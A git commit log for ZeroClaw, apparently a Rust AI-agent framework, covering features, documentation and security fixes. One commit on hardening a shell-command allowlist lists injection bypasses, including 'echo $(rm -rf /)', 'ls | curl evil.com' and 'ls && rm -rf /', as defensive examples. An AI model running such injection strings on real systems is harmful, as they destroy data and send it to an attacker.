Víctor R. Escobar
3162653695
chore: add pre-push hook enforcing fmt, clippy, and tests
...
Adds .githooks/pre-push that runs cargo fmt --check, cargo clippy
-- -D warnings, and cargo test before every push. Enable with:
git config core.hooksPath .githooks
Skip with git push --no-verify for rapid iteration.
Documented in README.md and CONTRIBUTING.md.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-14 14:07:37 +01:00
Víctor R. Escobar
e6a4166edb
fix: validate all segments of shell commands against allowlist
...
The previous is_command_allowed() only checked the first word of the
command string, but the full string was passed to `sh -c`, which
interprets all shell metacharacters. An attacker (or a prompt-injected
LLM) could bypass the allowlist:
echo $(rm -rf /) — subshell hides arbitrary command
echo `curl evil.com` — backtick subshell
ls | curl evil.com — pipe to unlisted command
ls && rm -rf / — chain via &&
ls\nrm -rf / — newline injection
Now is_command_allowed():
- Blocks subshell operators (backtick, $(, ${)
- Blocks output redirections (>)
- Splits on |, &&, ||, ;, newlines and validates EACH sub-command
- Skips leading env var assignments (FOO=bar cmd)
Legitimate piped commands like `ls | grep foo` still work since both
sides are in the allowlist.
CWE-78 / HIGH-1
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-14 13:55:09 +01:00
Víctor R. Escobar
1c8fe79238
fix: address PR review — rejection sampling and robust test
...
- Use rejection sampling to eliminate modulo bias in generate_code().
Values above the largest multiple of 1_000_000 in u32 are discarded
and re-drawn (~0.02% rejection rate).
- Make generate_code_is_not_deterministic test robust against the
1-in-10^6 collision chance by trying 10 pairs instead of one.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-14 13:48:36 +01:00
Víctor R. Escobar
152a996b66
fix: replace XOR cipher with ChaCha20-Poly1305 AEAD for secret encryption
...
The previous secret store used a repeating-key XOR cipher which is
cryptographically broken:
- Deterministic (no nonce) — identical plaintexts produce identical
ciphertexts
- No authentication — tampered ciphertext decrypts silently
- Vulnerable to known-plaintext attacks (e.g., "sk-" prefix reveals
key bytes)
Replace with ChaCha20-Poly1305 authenticated encryption:
- Random 12-byte nonce per encryption (non-deterministic)
- Poly1305 authentication tag detects tampering
- Uses the same 32-byte key file (no migration needed for keys)
New ciphertext format is `enc2:<hex(nonce || ciphertext || tag)>`.
Legacy `enc:` values (XOR) are still decryptable for backward
compatibility during migration.
Adds chacha20poly1305 0.10 crate (pure Rust, no C dependencies).
New tests: tamper detection, wrong-key rejection, nonce uniqueness,
truncation handling, legacy XOR backward compatibility.
CWE-327 / CRIT-1
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-14 13:43:02 +01:00
Víctor R. Escobar
15a58eb7da
fix: use CSPRNG for pairing code generation
...
Replace DefaultHasher + SystemTime + process::id() with UUID v4
(backed by getrandom/urandom CSPRNG) for pairing code generation.
The previous implementation used predictable entropy sources
(system time to ~1s precision and process ID) with a non-cryptographic
hash (SipHash), making the 6-digit code brute-forceable.
The new implementation extracts 4 random bytes from a UUID v4
(which uses the OS CSPRNG) and derives the 6-digit code from those.
No new dependencies added — reuses existing uuid crate.
Adds a test verifying non-deterministic output.
Ref: CWE-330 (Use of Insufficiently Random Values)
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-14 13:29:58 +01:00
argenis de la rosa
ac540d2b63
docs: add benchmark snapshot and remove duplicate architecture image
2026-02-14 05:51:23 -05:00
argenis de la rosa
3d91c40970
refactor: simplify CLI commands and update architecture docs
...
1. Simplify CLI:
- Make 'onboard' quick setup default (remove --quick)
- Add --interactive flag for full wizard
- Make 'status' detailed by default (remove --verbose)
- Remove 'tools list/test' and 'integrations list' commands
- Add 'channel doctor' command
2. Update Docs:
- Update architecture.svg with Channel allowlists, Browser allowlist, and latest stats
- Update README.md with new command usage and browser/channel config details
3. Polish:
- Browser tool integration
- Channel allowlist logic (empty = deny all)
2026-02-14 05:17:16 -05:00
argenis de la rosa
a74a774ad5
polish: wizard secure defaults, full summary, architecture SVG update
...
Wizard:
- Default autonomy now Supervised + workspace_only=true (was Full + false)
- print_summary shows Tunnel, Composio, Secrets, Gateway status
- run_quick_setup shows Gateway, Tunnel, Composio in summary
- Quick setup next steps include gateway command
- Removed unused AutonomyLevel import
Architecture SVG:
- Sandbox section: 'Default: Supervised + workspace-only'
- Wizard section: 'Live connection testing | Secure defaults'
- Step 3: '7 channels + live test', Step 7: '8 workspace MD files'
- Wizard output summary line listing all 9 config areas
- Footer: 8 traits, 17,800+ lines, 0 clippy warnings
README:
- Config example clarifies supervised + workspace_only are defaults
1,017 tests, 0 clippy warnings, cargo fmt clean.
2026-02-14 04:00:01 -05:00
argenis de la rosa
1fd51f1984
fix: resolve all clippy --all-targets warnings across 15 files
...
- gateway/mod.rs: move send_json before test module (items_after_test_module)
- memory/vector.rs: fix float_cmp, cast_precision_loss, approx_constant
- memory/chunker.rs: fix format_collect, format_push_string, write_with_newline
- memory/sqlite.rs: fix useless_vec
- heartbeat/engine.rs: fix format_collect, write_with_newline
- config/schema.rs: fix needless_raw_string_hashes
- tools/composio.rs: fix needless_raw_string_hashes
- integrations/registry.rs: fix uninlined_format_args, unused import
- tunnel/mod.rs: fix doc_markdown
- skills/mod.rs: allow similar_names in test module
- channels/cli.rs: fix unreadable_literal
- observability/mod.rs: fix manual_string_new
- runtime/mod.rs: fix manual_string_new
- examples/custom_memory.rs: add Default impl (new_without_default)
- examples/custom_channel.rs: fix needless_borrows_for_generic_args
2026-02-14 03:52:57 -05:00
argenis de la rosa
18582fe9c8
docs: lean README — remove redundant security layers, project tree, test coverage table (445→215 lines)
2026-02-14 03:45:37 -05:00
argenis de la rosa
12112772c5
docs: fix README stats — 8 traits, 9 subcommands, 17,800+ lines, 7 lib modules
2026-02-14 03:36:48 -05:00
argenis de la rosa
f8ea486210
docs: recreate architecture SVG — add memory engine, security layers, 7-step wizard, Composio, 1017 tests
2026-02-14 03:28:09 -05:00
argenis de la rosa
205307d8d5
docs: clean up README — add memory architecture table, trim Composio bloat, add --quick flag docs
2026-02-14 03:20:52 -05:00
argenis de la rosa
589921bbf8
feat: add --quick flag to onboard for non-interactive setup
...
- zeroclaw onboard --quick: generates config with sensible defaults, zero prompts
- zeroclaw onboard --quick --api-key sk-... --provider anthropic: one-liner setup
- Fixes wizard hanging in non-TTY / IDE terminals
- Scaffolds workspace files, prints summary, shows next steps
- 1,017 tests, 0 clippy warnings
2026-02-14 03:19:00 -05:00
argenis de la rosa
59bab7c554
docs: update README stats and project structure to include Composio and secrets
2026-02-14 02:50:49 -05:00
argenis de la rosa
f8befafe4d
feat: add Composio tool provider + encrypted secret store + wizard integration
...
- src/tools/composio.rs: ComposioTool implementing Tool trait
- list/execute/connect actions via Composio API (1000+ OAuth apps)
- 60s timeout, proper error handling, JSON schema for LLM
- 12 tests covering schema, validation, serde, error paths
- src/security/secrets.rs: SecretStore for encrypted credential storage
- XOR cipher with random 32-byte key stored in ~/.zeroclaw/.secret_key
- enc: prefix for encrypted values, plaintext passthrough (backward compat)
- Key file created with 0600 permissions (Unix)
- 16 tests: roundtrip, unicode, long secrets, corrupt hex, permissions
- src/config/schema.rs: ComposioConfig + SecretsConfig structs
- Composio: enabled (default: false), api_key, entity_id
- Secrets: encrypt (default: true)
- Both with serde(default) for backward compatibility
- 8 new config tests
- src/onboard/wizard.rs: new Step 5 'Tool Mode & Security'
- Sovereign (local only) vs Composio (managed OAuth) selection
- Encrypted secret storage toggle (default: on)
- 7-step wizard (was 6)
- src/tools/mod.rs: all_tools() now accepts optional composio_key
- src/agent/loop_.rs: wires Composio key from config into tool registry
- README.md: Composio integration + encrypted secrets documentation
1017 tests, 0 clippy warnings, cargo fmt clean.
2026-02-14 02:41:29 -05:00
argenis de la rosa
976c5bbf3c
hardening: fix 7 production weaknesses found in codebase scan
...
Scan findings and fixes:
1. Gateway buffer overflow (8KB → 64KB)
- Fixed: Increased request buffer from 8,192 to 65,536 bytes
- Large POST bodies (long prompts) were silently truncated
2. Gateway slow-loris attack (no read timeout → 30s)
- Fixed: tokio::time::timeout(30s) on stream.read()
- Malicious clients could hold connections indefinitely
3. Webhook secret timing attack (== → constant_time_eq)
- Fixed: Now uses constant_time_eq() for secret comparison
- Prevents timing side-channel on webhook authentication
4. Pairing brute force (no limit → 5 attempts + 5min lockout)
- Fixed: PairingGuard tracks failed attempts with lockout
- Returns 429 Too Many Requests with retry_after seconds
5. Shell tool hang (no timeout → 60s kill)
- Fixed: tokio::time::timeout(60s) on Command::output()
- Commands that hang are killed and return error
6. Shell tool OOM (unbounded output → 1MB cap)
- Fixed: stdout/stderr truncated at 1MB with warning
- Prevents memory exhaustion from verbose commands
7. Provider HTTP timeout (none → 120s request + 10s connect)
- Fixed: All 5 providers (OpenRouter, Anthropic, OpenAI,
Ollama, Compatible) now have reqwest timeouts
- Ollama gets 300s (local models are slower)
949 tests passing, 0 clippy warnings, cargo fmt clean
2026-02-14 01:47:08 -05:00
argenis de la rosa
0b5b49537a
docs: comprehensive README rewrite — security checklist, gateway API, memory system, project structure
...
Updated README to reflect current state of ZeroClaw:
- Test count: 943 (was 657)
- Binary size: ~3.4MB
- Security checklist table (all 4 items passing)
- Gateway hardening docs (pairing, random port, tunnel)
- Gateway API reference (/health, /pair, /webhook)
- Memory system docs (FTS5 + vector + hybrid merge)
- Full config example with [gateway] and [tunnel] sections
- Test coverage table by module
- Complete project structure (62 files, 16.5k lines)
- Commands table updated with gateway --port 0
- Contributing section updated with Tunnel + Skill entries
2026-02-14 01:40:30 -05:00
argenis de la rosa
c8d4ceee71
feat: add port 0 (random port) support for gateway security
...
When --port 0 is passed, the OS assigns a random available ephemeral
port (typically 49152-65535). The actual port is resolved after binding
and used for all log output and tunnel forwarding.
This prevents port-scanning attacks against a known fixed port.
Changes:
src/gateway/mod.rs — bind first, extract actual_port from listener,
use actual_port for addr formatting and tunnel.start()
src/main.rs — update CLI help text, conditional log for port=0
8 new edge case tests:
- port_zero_binds_to_random_port
- port_zero_assigns_different_ports
- port_zero_assigns_high_port
- specific_port_binds_exactly
- actual_port_matches_addr_format
- port_zero_listener_accepts_connections
- duplicate_specific_port_fails
- tunnel_gets_actual_port_not_zero
943 tests passing, 0 clippy warnings, cargo fmt clean
2026-02-14 01:21:55 -05:00
argenis de la rosa
b2aff60722
security: pass all 4 checklist items — gateway not public, pairing required, filesystem scoped, tunnel access
...
Security checklist from @anshnanda / @ledger_eth:
✅ Gateway not public — default bind 127.0.0.1, refuses 0.0.0.0 without
tunnel or explicit allow_public_bind=true in config
✅ Pairing required — one-time 6-digit code printed on startup, exchanged
for bearer token via POST /pair, enforced on all /webhook requests
✅ Filesystem scoped (no /) — workspace_only=true by default, null byte
injection blocked, 14 system dirs + 4 sensitive dotfiles in forbidden
list, is_resolved_path_allowed() for symlink escape prevention
✅ Access via Tailscale/SSH tunnel — tunnel system integrated, gateway
refuses public bind without active tunnel
New files:
src/security/pairing.rs — PairingGuard with OTP generation, constant-time
code comparison, bearer token issuance, token persistence
Changed files:
src/config/schema.rs — GatewayConfig (require_pairing, allow_public_bind,
paired_tokens), expanded AutonomyConfig forbidden_paths
src/config/mod.rs — export GatewayConfig
src/gateway/mod.rs — public bind guard, pairing enforcement on /webhook,
/pair endpoint, /health no longer leaks version/memory info
src/security/policy.rs — null byte blocking, is_resolved_path_allowed(),
expanded forbidden_paths (14 system dirs + 4 dotfiles)
src/security/mod.rs — export pairing module
src/onboard/wizard.rs — wire gateway config
935 tests passing (up from 905), 0 clippy warnings, cargo fmt clean
2026-02-14 00:39:51 -05:00
argenis de la rosa
ce4f36a3ab
test: 130 edge case tests + fix NaN/Infinity bug in cosine_similarity
...
Edge cases found 2 real bugs:
- cosine_similarity(NaN, ...) returned NaN instead of 0.0
- cosine_similarity(Infinity, ...) returned NaN instead of 0.0
Fix: added is_finite() guards on denom and raw ratio.
New edge case tests by module:
- vector.rs (18): NaN, Infinity, negative vectors, opposite vectors clamped,
high-dimensional (1536), single element, both-zero, non-aligned bytes,
3-byte input, special float values, NaN roundtrip, limit=0, zero weights,
negative BM25 scores, duplicate IDs, large normalization, single item
- embeddings.rs (8): noop embed_one error, empty batch, multiple texts,
empty/unknown provider, custom empty URL, no API key, trailing slash, dims
- chunker.rs (11): headings-only, deeply nested ####, long single line,
whitespace-only, max_tokens=0, max_tokens=1, unicode/emoji, FTS5 special
chars, multiple blank lines, trailing heading, no content loss
- sqlite.rs (23): FTS5 quotes/asterisks/parens, SQL injection, empty
content/key, 100KB content, unicode+emoji, newlines+tabs, single char
query, limit=0/1, key matching, unicode query, schema idempotency,
triple open, ghost results after forget, forget+re-store cycle,
reindex empty/twice, content_hash empty/unicode/long, category
roundtrip with spaces/empty, list custom category, list empty DB
869 tests passing, 0 clippy warnings, cargo-deny clean
2026-02-14 00:28:55 -05:00
argenis de la rosa
0e7f501fd6
feat: full-stack search engine — FTS5, vector search, hybrid merge, embedding cache, chunker
...
The Full Stack (All Custom):
- Vector DB: embeddings stored as BLOB, cosine similarity in pure Rust
- Keyword Search: FTS5 virtual tables with BM25 scoring + auto-sync triggers
- Hybrid Merge: weighted fusion of vector + keyword results (configurable weights)
- Embeddings: provider abstraction (OpenAI, custom URL, noop fallback)
- Chunking: line-based markdown chunker with heading preservation
- Caching: embedding_cache table with LRU eviction
- Safe Reindex: rebuild FTS5 + re-embed missing vectors
New modules:
- src/memory/embeddings.rs — EmbeddingProvider trait + OpenAI + Noop + factory
- src/memory/vector.rs — cosine similarity, vec↔bytes, ScoredResult, hybrid_merge
- src/memory/chunker.rs — markdown-aware document splitting
Upgraded:
- src/memory/sqlite.rs — FTS5 schema, embedding column, hybrid recall, cache, reindex
- src/config/schema.rs — MemoryConfig expanded with embedding/search settings
- All callers updated to pass api_key for embedding provider
739 tests passing, 0 clippy warnings (Rust 1.93.1), cargo-deny clean
2026-02-14 00:00:23 -05:00
argenis de la rosa
4fceba0740
fix: CI failures — update deny.toml for cargo-deny v2, fix clippy derivable_impls
...
- deny.toml: remove deprecated fields (vulnerability, notice, unlicensed, copyleft)
that were removed in cargo-deny v2. Add CDLA-Permissive-2.0 for webpki-roots.
- security/policy.rs: replace manual Default impl for AutonomyLevel with
#[derive(Default)] + #[default] attribute (clippy::derivable_impls on Rust 1.93)
657 tests passing, 0 clippy warnings (Rust 1.93.1), cargo-deny clean
2026-02-13 17:09:22 -05:00
argenis de la rosa
ad39c52965
docs: add architecture.jpeg diagram, update README reference
...
- Add final architecture diagram (architecture.jpeg)
- Update README to reference architecture.jpeg instead of docs/architecture.svg
- Add .DS_Store to .gitignore
657 tests passing, 0 clippy warnings, cargo fmt clean
2026-02-13 16:45:54 -05:00
argenis de la rosa
cc6fc6ce8d
feat: BYOP provider + tunnel wizard + SVG architecture diagram
...
Custom Provider (Bring Your Own):
- Add custom:URL format to provider factory (any OpenAI-compatible API)
- Works with LiteLLM, LocalAI, vLLM, text-generation-webui, LM Studio, etc.
- Example: default_provider = 'custom:http://localhost:1234 '
- 4 new tests for custom provider (URL, localhost, no-key, empty-URL error)
Setup Wizard (6 steps, 5-year-old friendly):
- Add '🔧 Custom' tier to provider selection with guided BYOP flow
- Add Step 4: Tunnel setup (Cloudflare, Tailscale, ngrok, Custom, or skip)
- Emoji labels on all provider categories for visual clarity
- Renumber wizard to 6 steps (was 5)
Architecture Diagram:
- New SVG diagram at docs/architecture.svg (dark theme, color-coded)
- Shows: Chat Apps → Security → Agent Loop → AI Providers
- Shows: Tunnel layer, Sandbox, Context, Heartbeat/Cron
- Shows: Setup Wizard 6-step flow at bottom
- Replace ASCII art in README with SVG embed
657 tests passing, 0 clippy warnings, cargo fmt clean
2026-02-13 16:32:27 -05:00
argenis de la rosa
390cbc0a6c
feat: agnostic tunnel system — bring your own tunnel provider
...
New Tunnel trait + 5 implementations:
- NoneTunnel: local-only, no external exposure (default)
- CloudflareTunnel: wraps cloudflared binary, extracts public URL
- TailscaleTunnel: tailscale serve (tailnet) or funnel (public)
- NgrokTunnel: wraps ngrok binary, supports custom domains
- CustomTunnel: user-provided command with {port}/{host} placeholders
Config schema:
- [tunnel] section with provider selector
- Provider-specific sub-configs: cloudflare, tailscale, ngrok, custom
- Backward compatible (serde default = "none")
Gateway integration:
- Tunnel starts automatically on 'zeroclaw gateway'
- Prints public URL on success, falls back to local on failure
20 new tests (factory, constructors, NoneTunnel async start/health)
649 tests passing, 0 clippy warnings, cargo fmt clean
2026-02-13 16:25:01 -05:00
argenis de la rosa
bc31e4389b
style: cargo fmt — fix all formatting for CI
...
Ran cargo fmt across entire codebase to pass CI's cargo fmt --check.
No logic changes, only whitespace/formatting.
2026-02-13 16:03:50 -05:00
argenis de la rosa
a5887ad2dc
docs+tests: architecture diagram, security docs, 75 new edge-case tests
...
README:
- Add ASCII architecture flow diagram showing all layers
- Add Security Architecture section (Layer 1: Channel Auth,
Layer 2: Rate Limiting, Layer 3: Tool Sandbox)
- Update test count to 629
New edge-case tests (75 new):
- SecurityPolicy: command injection (semicolon, backtick, dollar-paren,
env prefix, newline), path traversal (encoded dots, double-dot in
filename, null byte, symlink, tilde-ssh, /var/run), rate limiter
boundaries (exactly-at, zero, high), autonomy+command combos,
from_config fresh tracker
- Discord: exact match not substring, empty user ID, wildcard+specific,
case sensitivity, base64 edge cases
- Slack: exact match, empty user ID, case sensitivity, wildcard combo
- Telegram: exact match, empty string, case sensitivity, wildcard combo
- Gateway: first-match-wins, empty value, colon in value, different
headers, empty request, newline-only request
- Config schema: backward compat (Discord/Slack without allowed_users),
TOML roundtrip, webhook secret presence/absence
629 tests passing, 0 clippy warnings
2026-02-13 16:00:15 -05:00
argenis de la rosa
542bb80743
security: harden architecture against Moltbot security model
...
- Discord: add allowed_users field + sender validation in listen()
- Slack: add allowed_users field + sender validation in listen()
- Webhook: add X-Webhook-Secret header auth (401 on mismatch)
- SecurityPolicy: add ActionTracker with sliding-window rate limiting
- record_action() enforces max_actions_per_hour
- is_rate_limited() checks without recording
- Gateway: print auth status on startup (ENABLED/DISABLED)
- 22 new tests (Discord/Slack allowlists, gateway header extraction,
rate limiter: starts at zero, records, allows within limit,
blocks over limit, clone independence)
- 554 tests passing, 0 clippy warnings
2026-02-13 15:31:21 -05:00
argenis de la rosa
cf0ca71fdc
chore: update LICENSE copyright year to 2025-2026
2026-02-13 12:25:45 -05:00
argenis de la rosa
05cb353f7f
feat: initial release — ZeroClaw v0.1.0
...
- 22 AI providers (OpenRouter, Anthropic, OpenAI, Mistral, etc.)
- 7 channels (CLI, Telegram, Discord, Slack, iMessage, Matrix, Webhook)
- 5-step onboarding wizard with Project Context personalization
- OpenClaw-aligned system prompt (SOUL.md, IDENTITY.md, USER.md, AGENTS.md, etc.)
- SQLite memory backend with auto-save
- Skills system with on-demand loading
- Security: autonomy levels, command allowlists, cost limits
- 532 tests passing, 0 clippy warnings
2026-02-13 12:19:14 -05:00